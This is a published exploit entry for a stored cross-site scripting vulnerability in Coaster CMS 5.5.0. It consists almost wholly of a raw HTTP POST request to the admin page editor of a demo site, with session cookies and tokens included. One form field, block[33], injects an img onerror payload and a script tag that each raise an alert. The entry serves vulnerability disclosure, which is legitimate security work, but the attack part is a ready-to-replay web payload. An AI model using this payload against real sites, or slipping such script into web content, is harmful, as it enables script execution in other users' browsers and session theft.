Coaster CMS 5.5.0 - Cross-Site Scripting

# Exploit Title: Coaster CMS 5.5.0 - Cross-Site Scripting
# Date: 2018-10-01
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.web-feet.co.uk/
# Software Link : https://github.com/Web-Feet/coastercms
# Software : Coaster CMS
# Product Version: v5.5.0
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# A Stored XSS vulnerability has been discovered in the v5.5.0 version of the Coaster CMS product.

# HTTP POST Request :

POST /admin/pages/edit/26 HTTP/1.1
Host: demo.coastercms.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://demo.coastercms.org/admin/pages/edit/26
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Content-Length: 3353
Cookie: __cfduid=ddc0ae999f19fa783083ea0c7fdce0ba41538397617; XSRF-TOKEN=eyJpdiI6IndLeTBrZVwvWkdzUE9JSTArU3FOQ3BRPT0iLCJ2YWx1ZSI6InlsZ3Jib0ZNQTM3TXZEZGlwd0hJZmg1aHRibGZDWHZTcmordkRKbnRHWVVjYUJ4TlFOSGdYNkFIWHBSdlozUlY1c3ZJQjNuek9tOW92WXE5SkloOHZ3PT0iLCJtYWMiOiI0MzkzZjU1YWNiNDU2MDhkMDVhMDMwZDkwZTNhZjc4NGI5YzMzZjk0N2Q4YmJmYzY3NWZlZjg1MzVjYTJmMWY2In0%3D; laravel_session=eyJpdiI6IkNhM0Roc280SjE2aFcweXlcLzZwR2hRPT0iLCJ2YWx1ZSI6IldoUG9xTnNqRjh2TlBrQW51NlhqU1hCa3NIZmhSczFlYWE5Mkxza3dMWThkbFZcL2E1VmVTRExCa3h2ckMrdDliajZSTjRSUnhQcEJiek1pSjZ6VGRyZz09IiwibWFjIjoiMmQ0YjBkMmY1NDQ4ODdjOWVhZWUyMDFkY2UwMTlkNTM4ZmEyMGE4YjAwMDVkYmQ3ODZiZWUyOWM4OWQzODg4ZSJ9
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------24464570528145
Content-Disposition: form-data; name="_token"

ZeLPiM6IJlkjRf0tosDFjMNPOXVsPv5YioF6092P
-----------------------------24464570528145
Content-Disposition: form-data; name="block[19]"


-----------------------------24464570528145
Content-Disposition: form-data; name="block[20]"


-----------------------------24464570528145
Content-Disposition: form-data; name="block[21]"


-----------------------------24464570528145
Content-Disposition: form-data; name="block[34]"

Search
-----------------------------24464570528145
Content-Disposition: form-data; name="block[36]"


-----------------------------24464570528145
Content-Disposition: form-data; name="block[33]"

<p>"><img src=x onerror=alert("ismailtasdelen")>
<script>alert("Ismail Tasdelen")</script>
</p>
-----------------------------24464570528145
Content-Disposition: form-data; name="block[1][exists]"

1
-----------------------------24464570528145
Content-Disposition: form-data; name="block[1][select]"

posts
-----------------------------24464570528145
Content-Disposition: form-data; name="publish"

publish
-----------------------------24464570528145
Content-Disposition: form-data; name="block[35][source]"


-----------------------------24464570528145
Content-Disposition: form-data; name="block[35][alt]"


-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[parent]"

0
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info_lang[name]"

Search
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info_lang[url]"

search
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[link]"

0
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info_other[group_radio]"

0
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[group_container]"

0
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[group_container_url_priority]"

0
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[template][exists]"

1
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[template][select]"

3
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[live][exists]"

1
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[live][select]"

1
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[live_start]"


-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[live_end]"


-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[sitemap][exists]"

1
-----------------------------24464570528145
Content-Disposition: form-data; name="page_info[sitemap][select]"

1
-----------------------------24464570528145
Content-Disposition: form-data; name="versionFrom"

4
-----------------------------24464570528145
Content-Disposition: form-data; name="duplicate"

0
-----------------------------24464570528145--